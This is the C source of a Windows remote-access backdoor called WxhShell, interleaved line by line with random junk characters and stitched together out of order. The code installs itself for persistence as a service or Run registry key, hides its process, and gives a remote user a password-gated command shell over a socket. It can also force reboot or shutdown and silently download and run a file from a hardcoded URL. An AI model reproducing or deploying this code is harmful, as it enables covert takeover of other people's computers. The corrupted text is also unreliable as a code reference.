    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =W)Fa6P3j(  
    if(Boot(SHUTDOWN)) hGi"=Oud2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MfUG@  
    else { xkR--/f  
    closesocket(wsh); "- xm+7  
    ExitThread(0); r{qM!(T  
    } TkhbnO g6  
    break; >T{9-_#P  
    } Tz.!  
  // 获取shell $Tu%dE(OF  
  case 's': { wVk2Fr(  
    CmdShell(wsh); ,Iq+v  
    closesocket(wsh); :$d3}TjsA+  
    ExitThread(0); R`ajll1  
    break; =O~1L m;  
  } NL&(/72V  
  // 退出 uyP)5,  
  case 'x': { /6}4<~~4TA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?RGL0`Lg  
    CloseIt(wsh); GutH}Kz"&  
    break; yA*~O$~Y  
    } 2|F.JG^  
  // 离开 aNb=gjLpt  
  case 'q': { VVeO>jd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X5U.8qI3  
    closesocket(wsh); L>$yslH; b  
    WSACleanup(); (8o~ XL  
    exit(1); B1m@  
    break; \~:Kp Kq  
        } 3:jKuOX  
  } z<c^<hE:l  
  } %Rv&VFg  
BDZB;DPb  
  // 提示信息 eKn&`\j6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %)*!(%\S*3  
} W"4E0!r  
  } +<6L>ZAL  
E&V"z^qs_  
  return; ~PaD _W#xP  
} 'qQ 5K o  
e/lfT?J\  
// shell模块句柄 @& #df  
int CmdShell(SOCKET sock) {U(-cdU{e`  
{ r=4'6!  
STARTUPINFO si; t/WauY2JUC  
ZeroMemory(&si,sizeof(si)); "L.)ML  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .6SdSB ^M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  WwbE xn<  
PROCESS_INFORMATION ProcessInfo; ntkTrei ]  
char cmdline[]="cmd"; s<'^ @Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [CBA Lj5  
  return 0; yXS ~PG  
} k\|G%0Jw  
,eOOV@3C  
// 自身启动模式 >i~W$; t  
int StartFromService(void) `,H\j?  
{ 5%(J+d  
typedef struct Gm^@lWzG  
{ EU]{S=T  
  DWORD ExitStatus; H,txbJ  
  DWORD PebBaseAddress; w/KHS#~  
  DWORD AffinityMask; /pgfa-<  
  DWORD BasePriority; GdEkA  
  ULONG UniqueProcessId; <ro0}%-z>M  
  ULONG InheritedFromUniqueProcessId; qc~6F'?R  
}   PROCESS_BASIC_INFORMATION; 8#'<SB  
hXM8`iFW5  
PROCNTQSIP NtQueryInformationProcess; ~\4l*$3(^  
)v;>6(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ('Wo#3b$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w_pEup\`  
4>>{}c!nf  
  HANDLE             hProcess; '|&}rLr:+  
  PROCESS_BASIC_INFORMATION pbi; w{)*'8oCB  
UBqA[9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hLGUkG?6G  
  if(NULL == hInst ) return 0; kt%9PGw  
soW.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )5gcLD/zI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |\@e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?{%P9I  
meu\jg  
  if (!NtQueryInformationProcess) return 0; "RuJlp  
OP]=MZP|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fJLlz$H  
  if(!hProcess) return 0; -(~Tu>KaH  
l"o@.C} f/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5^cPG" 4@  
i0{pm q  
  CloseHandle(hProcess); QD]Vfj4+  
#9O *@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6#vD>@H  
if(hProcess==NULL) return 0; 0vmMNF  
-VD[iH  
HMODULE hMod; w7p%6m  
char procName[255]; *!%y.$\cE  
unsigned long cbNeeded; r!V#@Md  
^~-i>gTD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,=B "%=S  
/@R|*7K;9  
  CloseHandle(hProcess); `GC7o DL  
}|H]>U&  
if(strstr(procName,"services")) return 1; // 以服务启动 H)t YxW  
,& =(DJ  
  return 0; // 注册表启动 pD##lkJr  
} iHr{ VQ  
o4o&}  
// 主模块 v3Tr6[9  
int StartWxhshell(LPSTR lpCmdLine) dMw7Lp&  
{ &|iFhf[o  
  SOCKET wsl; jIK *psaV  
BOOL val=TRUE; [%YA42_`LD  
  int port=0; Yfk[mo  
  struct sockaddr_in door; '[I_Iu#,  
@YdS_W  
  if(wscfg.ws_autoins) Install(); xU@YBzbk  
r1EccY  
port=atoi(lpCmdLine); );}k@w fw)  
n%I%Kbw  
if(port<=0) port=wscfg.ws_port; go m< V?$  
Im{50%Y  
  WSADATA data; oaHg6PT!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; If\u^c  
`"H!=`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HC*=E.J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2al%J%  
  door.sin_family = AF_INET; N6cf`xye  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ylLQKdcL  
  door.sin_port = htons(port); wg^#S  
r|:|\"Yk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A`Z!=og=  
closesocket(wsl); ]7O)iq%  
return 1; ^)rX27!G  
} <?&GBCe  
(WR&Vt4Rh  
  if(listen(wsl,2) == INVALID_SOCKET) { ;i^p6b j  
closesocket(wsl); T.<er iv  
return 1; 49nZWv48"_  
} Zn1+} Z@I  
  Wxhshell(wsl); kwMuL>5  
  WSACleanup(); yTz@q>6s-  
{r`l  
return 0; zwN;CD1  
-dsB@nPiUw  
} VmF?8Vi4  
6b9Ddb*  
// 以NT服务方式启动 xYc)iH6&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -6;0 x  
{ 'j !!h4  
DWORD   status = 0; sDK lbb  
  DWORD   specificError = 0xfffffff; P_j ?V"i<  
N $M#3Y;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z%D*2wm4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z_}vjk~s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7e/Uc!&*  
  serviceStatus.dwWin32ExitCode     = 0; F}DdErd!f  
  serviceStatus.dwServiceSpecificExitCode = 0; sVZb[|zSri  
  serviceStatus.dwCheckPoint       = 0; "V&2 g?  
  serviceStatus.dwWaitHint       = 0; ! o:m*:  
VE& ?Zd~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >{~W"  
  if (hServiceStatusHandle==0) return; W*QD'  
A)2vjM9}K  
status = GetLastError(); 00Tm0rY  
  if (status!=NO_ERROR) sD1L P  
{ ;y%lOYm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bEV 9l  
    serviceStatus.dwCheckPoint       = 0; Z 7t0=U  
    serviceStatus.dwWaitHint       = 0; mAhtC*  
    serviceStatus.dwWin32ExitCode     = status; 7fLLV2  
    serviceStatus.dwServiceSpecificExitCode = specificError; C.C)&&|X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H4 Ca+;  
    return; >^Klq`"?g=  
  } 5znLpBX<N  
}e6Ta_Z~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n <6}  
  serviceStatus.dwCheckPoint       = 0; LU_@8i:  
  serviceStatus.dwWaitHint       = 0; ilw<Q-o4(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KM g`O3_16  
} 8Z4d<DIJ  
[y\ZnoB  
// 处理NT服务事件,比如:启动、停止 X1]&j2WR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W'E!5T^  
{ 8X!UtHml  
switch(fdwControl) [z]@ <99/  
{ p/:)Z_  
case SERVICE_CONTROL_STOP: D'YF [l  
  serviceStatus.dwWin32ExitCode = 0; v'a]SpE5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |A8Ar7)  
  serviceStatus.dwCheckPoint   = 0; =   
  serviceStatus.dwWaitHint     = 0; Dw%>y93V  
  { f_Y[I :  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n&i WYECz  
  } Gnj;=f  
  return; (zWzF_v  
case SERVICE_CONTROL_PAUSE: '&W`x5`t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3I^KJ/)A  
  break; brb8C%j}9  
case SERVICE_CONTROL_CONTINUE: jZ7/p^c5R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V`TXn[7  
  break; /R8>f  
case SERVICE_CONTROL_INTERROGATE: /"- k ;jz  
  break; vz) A~"E  
}; yUq,9.6Ig  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gd_w;{WP  
} NZ e3 m  
xB68RQe)  
// 标准应用程序主函数 >a%NC'~rc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N:)`+}  
{ ]}<.Y[!S  
!w[<?+%%n  
// 获取操作系统版本 `=^29LC#  
OsIsNt=GetOsVer();  $hPAp}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qRJg/~_h{  
$G"PZ7  
  // 从命令行安装 .bB_f7TH.  
  if(strpbrk(lpCmdLine,"iI")) Install(); {DI_i +2  
f?dNTfQ3mi  
  // 下载执行文件 ":"QsS#*"#  
if(wscfg.ws_downexe) { @?!/Pl49R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7 ZET@  
  WinExec(wscfg.ws_filenam,SW_HIDE); "monuErg&  
} 1T%Y:0  
G#HbiVH9  
if(!OsIsNt) { H.7gSB1  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?Gp~i]  
HideProc(); v>c[wg9P  
StartWxhshell(lpCmdLine); jm =E_86_  
} \_!FOUPz(  
else E(4ti]'4  
  if(StartFromService()) jHT4I>\  
  // 以服务方式启动 YUF!Y9!  
  StartServiceCtrlDispatcher(DispatchTable); R 9o:{U]  
else F] +t/  
  // 普通方式启动 +#6WORH0S  
  StartWxhshell(lpCmdLine); Umm_FEU#]  
YZ7rs] A  
return 0; R# 8D}5[&  
} e=%7tK*  
(gNI6;P;}  
%\}|&z6  
DHbLS3-  
===========================================  s+[_5n~  
k)[}3oq  
en=Z[ZIPO  
(iP,F]  
fm;1Iu#  
HLN rI0  
" MEI]N0L3  
y`E2IE2o  
#include <stdio.h> L(PJ9wjkD  
#include <string.h> 1UJ(._0hR  
#include <windows.h> q+~z# jFX  
#include <winsock2.h> +LQ2To  
#include <winsvc.h> #"O9\X/B  
#include <urlmon.h> O!d^v9hM,  
+; C|5y  
#pragma comment (lib, "Ws2_32.lib") tW|B\p}  
#pragma comment (lib, "urlmon.lib") && ecq   
Wv77ef  
#define MAX_USER   100 // 最大客户端连接数 9K#.0  
#define BUF_SOCK   200 // sock buffer P;VR[d4e/  
#define KEY_BUFF   255 // 输入 buffer j~\\,fl=  
[=Np.:Y%  
#define REBOOT     0   // 重启 ({m["d  
#define SHUTDOWN   1   // 关机 YJuaQxs  
K>RL  
#define DEF_PORT   5000 // 监听端口 S"|D!}@-  
0+/L?J3  
#define REG_LEN     16   // 注册表键长度 <z#r3J  
#define SVC_LEN     80   // NT服务名长度 C0 .Xp  
c500:OSB  
// 从dll定义API [dk|lkj@u\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B6 x5E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {AO3o<-h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |QAmN> 7U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f4/!iiS}r  
}.NR+:0  
// wxhshell配置信息 18}L89S>  
struct WSCFG { ;1NZY.pyc  
  int ws_port;         // 监听端口 ppR_y  
  char ws_passstr[REG_LEN]; // 口令 r4J4|&ym  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3 V8SKBS  
  char ws_regname[REG_LEN]; // 注册表键名 Uk S86`.  
  char ws_svcname[REG_LEN]; // 服务名 pA4/ '7nCl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xE9^4-Px*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >/6v` 8F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /{>ds-;-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,PJl32  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5irewh'R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qI<*Cze  
eY\tO"Hc  
}; /p<mD-:.M  
^P"t "  
// default Wxhshell configuration I4m)5G?O2  
struct WSCFG wscfg={DEF_PORT, 2}[rc%tV:?  
    "xuhuanlingzhe", $]|_xG-6{  
    1, R j(="+SPj  
    "Wxhshell", tK g%5;v  
    "Wxhshell", xW/J ItF  
            "WxhShell Service", 5c{=/}Y  
    "Wrsky Windows CmdShell Service", ++R-_oQ  
    "Please Input Your Password: ", E4}MvV=  
  1, hYi-F.Qtq  
  "http://www.wrsky.com/wxhshell.exe", Z6K9E=%)c  
  "Wxhshell.exe" >8t(qM-~:  
    }; O5_E"um  
49/1#^T"Q>  
// 消息定义模块 dXe763~<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~i))Zc3,g\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m1\>v?=K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T1n GBl\(  
char *msg_ws_ext="\n\rExit."; *fSa8CV  
char *msg_ws_end="\n\rQuit."; }9Y='+.%^  
char *msg_ws_boot="\n\rReboot..."; dam.D.o"  
char *msg_ws_poff="\n\rShutdown..."; U!3nn#!yE  
char *msg_ws_down="\n\rSave to "; 6XFO@c}d  
dMRwQejY{7  
char *msg_ws_err="\n\rErr!"; CrS[FM= +W  
char *msg_ws_ok="\n\rOK!"; #kLM=a/_NO  
g0g/<Tv[  
char ExeFile[MAX_PATH]; lCd^|E  
int nUser = 0; #0!C3it6c  
HANDLE handles[MAX_USER]; IdzF<>;W  
int OsIsNt; %m+Z rH(  
+=\S"e[F  
SERVICE_STATUS       serviceStatus; SkvKzV.R;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G`6U t  
3AWB Y .  
// 函数声明 <Y~V!9(~{Q  
int Install(void); YV! !bI  
int Uninstall(void); }!n<L:njX  
int DownloadFile(char *sURL, SOCKET wsh); {sX*SbJt  
int Boot(int flag); ? 1Z\=s  
void HideProc(void); tE>3.0U0Q  
int GetOsVer(void); O~'1)k>  
int Wxhshell(SOCKET wsl); HFo}r~  
void TalkWithClient(void *cs); cTRCQ+W6:  
int CmdShell(SOCKET sock); E+E5`-V  
int StartFromService(void); f8[2$i*cL  
int StartWxhshell(LPSTR lpCmdLine); yQou8P=%  
t9 &O0tpe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }pTw$B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o<V-gS  
g](m& O  
// 数据结构和表定义 '\_ic=&u  
SERVICE_TABLE_ENTRY DispatchTable[] = 2"BlV *\lS  
{ yv$MQ~]  
{wscfg.ws_svcname, NTServiceMain}, KxJJ?WyM  
{NULL, NULL} $?*+P``  
}; jLb3{}0  
p,kJ#I  
// 自我安装 tvFJ^5  
int Install(void) T,WWQm  
{ )h+JX8K)l  
  char svExeFile[MAX_PATH]; "T~Ps$  
  HKEY key; r9b`3yr=  
  strcpy(svExeFile,ExeFile); K''b)v X4  
SG43}  
// 如果是win9x系统,修改注册表设为自启动 &<tji8Dj  
if(!OsIsNt) { zQ)[re)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {K[+nX =#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8d Ftp3(  
  RegCloseKey(key); 2{U4wTu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ln`c DZSM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^.-P]I]  
  RegCloseKey(key); rWbL_1Eq  
  return 0; ?I7H ):  
    } d%]7:  
  } 3FX` dZ  
} N>]u;HjH  
else { ]'M4Unu#@  
W@UHqHr:\  
// 如果是NT以上系统,安装为系统服务 WZFV8'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fl)Oto7  
if (schSCManager!=0) \>YXPMIk  
{ j$8 ~M  
  SC_HANDLE schService = CreateService Gi{1u}-0  
  ( J+.t \R  
  schSCManager, *YtITyDS3>  
  wscfg.ws_svcname, 0 _&oMPY  
  wscfg.ws_svcdisp, `bH Eu"(,  
  SERVICE_ALL_ACCESS, 4<LRa=XT$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kkzXv`+  
  SERVICE_AUTO_START, JVXBm]  
  SERVICE_ERROR_NORMAL, jkD5Z`D  
  svExeFile, &VQwuO  
  NULL, 6fkL@It  
  NULL, `8'|g8,wb0  
  NULL, r*tGT_/6  
  NULL, 2t(E+^~  
  NULL ):.]4n{L  
  ); D ORFK  
  if (schService!=0) .6/[X` *  
  { VF[]E0=u6  
  CloseServiceHandle(schService); !PQ@"L)p  
  CloseServiceHandle(schSCManager); BF]b\/I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DtZkrj)D/  
  strcat(svExeFile,wscfg.ws_svcname); pD &\Z~5T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ue l*:c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xNm<` Y?  
  RegCloseKey(key); +'lfW{E1t  
  return 0; hwC3['  
    } ~L}0) FZ\9  
  } kM9E)uT>(<  
  CloseServiceHandle(schSCManager); vWj|[| <rX  
} ?[T&y ,ln  
} Z~]17{x0  
uvm=i .  
return 1; | @mZ]`p  
} l'o'q7&=z  
gbSZ- ej  
// 自我卸载 wk-ziw  
int Uninstall(void) v,2{Vr  
{ Llg[YBJ7>  
  HKEY key; /5wvXk|@  
7H./o Vl  
if(!OsIsNt) { hd^?svID  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xkqt(ng(  
  RegDeleteValue(key,wscfg.ws_regname); Z7%>O:@z  
  RegCloseKey(key); [!DLT6Qk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F%< 0pi  
  RegDeleteValue(key,wscfg.ws_regname); rV1JJ.I  
  RegCloseKey(key); \hm=AGI0  
  return 0; e`C'5`d]  
  } Bj\0RmVa1  
} %tpt+N?  
} K_}vmB\2l  
else { YZmD:P  
uK t>6DN.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VT-&"Jn  
if (schSCManager!=0) KDCq::P<  
{ ybB/sShGM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MMcHzRF  
  if (schService!=0) ZT|E1[Q  
  { ~+4OG 0  
  if(DeleteService(schService)!=0) { r5rK>  
  CloseServiceHandle(schService); }_Jai4O  
  CloseServiceHandle(schSCManager); Ig S.U  
  return 0; O":x$>'t  
  } :~`E @`/  
  CloseServiceHandle(schService);  LqU]&AAh  
  } !d"J,.)  
  CloseServiceHandle(schSCManager); 9ft7  
} *^QfTKN   
} uTn(fs) D  
'n.ATV,  
return 1; pU}>}  
} -3bl !9h^  
7@C :4c@0  
// 从指定url下载文件 e;[/ytz"d'  
int DownloadFile(char *sURL, SOCKET wsh) 44b'40  
{ 6rPe\'n=B  
  HRESULT hr; /FB'  
char seps[]= "/"; w~1K93/p!  
char *token; LN_6>u  
char *file; whRc YnJ  
char myURL[MAX_PATH]; |\elM[G"g  
char myFILE[MAX_PATH]; U3p=H^MB.  
"iOT14J!7  
strcpy(myURL,sURL); DJ=miJI'  
  token=strtok(myURL,seps); 9 ?h)U|J?G  
  while(token!=NULL) =Y /  
  { 3hb1^HNT  
    file=token; nCYicB  
  token=strtok(NULL,seps); ^ zo"~1  
  } $|sRj!F  
#  ,GpZ  
GetCurrentDirectory(MAX_PATH,myFILE); q.rnZU  
strcat(myFILE, "\\"); &9TG&~(+  
strcat(myFILE, file); &Du!*V4A  
  send(wsh,myFILE,strlen(myFILE),0); t;ggc{  
send(wsh,"...",3,0); VNA VdP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1C'lT,twl  
  if(hr==S_OK) hPhN7E03  
return 0; lSQANC'  
else a^~l[HSF  
return 1; MW`q*J`Yo  
M~P}80I  
} %6*xnB?  
1<ZvHv  
// 系统电源模块 }vp\lK P  
int Boot(int flag) 5C2 *f 4|  
{ J[]YG+r  
  HANDLE hToken; .Ml}cE$L  
  TOKEN_PRIVILEGES tkp; Wh 8fC(BE  
e WcS>N  
  if(OsIsNt) { e7 5*84  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HJoPk'p%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); { \r{$<s  
    tkp.PrivilegeCount = 1; ])T*T$u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "(T@*"vX2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  +loD{  
if(flag==REBOOT) { k\1q Jr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d;)Im "  
  return 0; KxK$Y.y]  
} C:$lH  
else { [;#}BlbN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _s<eqCBV  
  return 0; |=,V,*"  
} v0\2%PC  
  } 36.L1!d)pE  
  else { =U3 !D;XP  
if(flag==REBOOT) { " c}pY^(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %6dFACv  
  return 0; ; l+3l ez  
} c7P"1  
else { [%z~0\lu8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z8jQaI]j  
  return 0; tAc[r)xFw  
} ZuILDevMD  
} C$ nT&06o  
j$Gb> Ex>  
return 1; MS><7lk-  
} ysDfp'C,  
|cUlXg=  
// win9x进程隐藏模块 I.1zD aP  
void HideProc(void) v lOMB  
{ !x|OgvJ  
w6v P a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $w#C;2k]N  
  if ( hKernel != NULL ) D_(xhM  
  { Kh'/Ne?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,W7\AY07]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w/E4wp  
    FreeLibrary(hKernel); jZ7#xRt5w  
  } (/tbe@<  
Gb~*[  
return; Cddw\|'3  
} E(>RmPP=7  
nlw(U3@7  
// 获取操作系统版本 L]9uY  
int GetOsVer(void) ko $bCG%  
{ 9bq#&~+  
  OSVERSIONINFO winfo; !+=jD3HTJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?4(uwX p  
  GetVersionEx(&winfo); a[[u>oHyd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j*rra  
  return 1; f-tjMa /_  
  else %'%r.  
  return 0; h 5t,5e}  
} `lqMifD  
)pW(Cp  
// 客户端句柄模块 03iO4yOu  
int Wxhshell(SOCKET wsl) ^SVdaQ{7  
{ W2qW`Ujo{  
  SOCKET wsh; -U'6fx) +  
  struct sockaddr_in client; xaAJ>0IM  
  DWORD myID; [ % KBc}  
Uw)?u$+ P  
  while(nUser<MAX_USER) "!9~77  
{ o_vK4%y(  
  int nSize=sizeof(client); 9{^:+r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M g1E1kXe  
  if(wsh==INVALID_SOCKET) return 1; u&m B;:&  
`.>2h}op  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E<>n0",  
if(handles[nUser]==0) (Lo<3a-]  
  closesocket(wsh); Jou~>0,/j  
else m .le' &  
  nUser++; 6Z\[{S];  
  } BO5F6lyQ0P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =YR/X@&  
$ThkK3  
  return 0; LK)0g4{  
} ,H'O`oV!1E  
& 2& K9R  
// 关闭 socket o{(-jhR  
void CloseIt(SOCKET wsh) i:ZpAo+Z{  
{ tE/j3  
closesocket(wsh); 'd D d9  
nUser--; :%{MMhb x  
ExitThread(0); O\q|b#q}/  
} p>96>7w  
ac p-4g+j  
// 客户端请求句柄 %19TJn%J$  
void TalkWithClient(void *cs) e(@YBQ/Z  
{ ahU\(=  
!6'j W!  
  SOCKET wsh=(SOCKET)cs; +D& W!m  
  char pwd[SVC_LEN]; s,\!@[N  
  char cmd[KEY_BUFF]; L ![bf5T  
char chr[1]; X48Q{E+  
int i,j; A?06fo,  
=.#*MYB.l  
  while (nUser < MAX_USER) { 9(dbou  
.-k\Q} D  
if(wscfg.ws_passstr) { Ps4spy0Fp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J'sVT{@GS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A84I*d  
  //ZeroMemory(pwd,KEY_BUFF); ]HgAI$aA,  
      i=0; !rlN|HB  
  while(i<SVC_LEN) { D[x0sly  
l Ztq_* Fl  
  // 设置超时 (@vu/yN  
  fd_set FdRead; SuMK=^>%  
  struct timeval TimeOut; P#Z$+&)b)s  
  FD_ZERO(&FdRead); sF :3|Yy0  
  FD_SET(wsh,&FdRead); 7[[XNJP  
  TimeOut.tv_sec=8; D"oyl`q  
  TimeOut.tv_usec=0; 6=3}gd5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?_3K]i1IS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cxFfAk\,en  
RAxAy{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U< |kA(5  
  pwd=chr[0];  ]O3[Te  
  if(chr[0]==0xd || chr[0]==0xa) { i:0~%X  
  pwd=0; MR=>DcR  
  break; 7z9gsi  
  } n a])bBn  
  i++; D:sQHJ. y  
    } US 9cuah1/  
D0/ \  
  // 如果是非法用户,关闭 socket ZY-W~p1:G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *`YR-+0  
} @[D-2s  
&ok2Xw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t5G@M&d4Eo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W! v8'T  
0&E{[~Pv  
while(1) { w&:"x@ -|  
*D! $gfa  
  ZeroMemory(cmd,KEY_BUFF); @x3x/g U  
/\"=egB9  
      // 自动支持客户端 telnet标准   hJ 4]GA'  
  j=0; X!V@jo9?  
  while(j<KEY_BUFF) {  k)o D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T B~C4HK=  
  cmd[j]=chr[0]; _ #288`bU  
  if(chr[0]==0xa || chr[0]==0xd) { 8Ih+^Y a  
  cmd[j]=0; ^5x\cR  
  break; `6koQZm  
  } P#]%C  
  j++; %b<cJ]F  
    } ?NoG.  
V\r!H>  
  // 下载文件 WQv%57+  
  if(strstr(cmd,"http://")) { @U08v_,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #G%[4.$n.  
  if(DownloadFile(cmd,wsh)) 9ar+Ph@*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DyIuM{Owj  
  else ,rx?Ig}k z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gTcLS|& H  
  } >xb}AY;  
  else { e$}x;&cQ  
GY%lPp  
    switch(cmd[0]) { Z_Ffiw(p  
  fw Ooi 'jb  
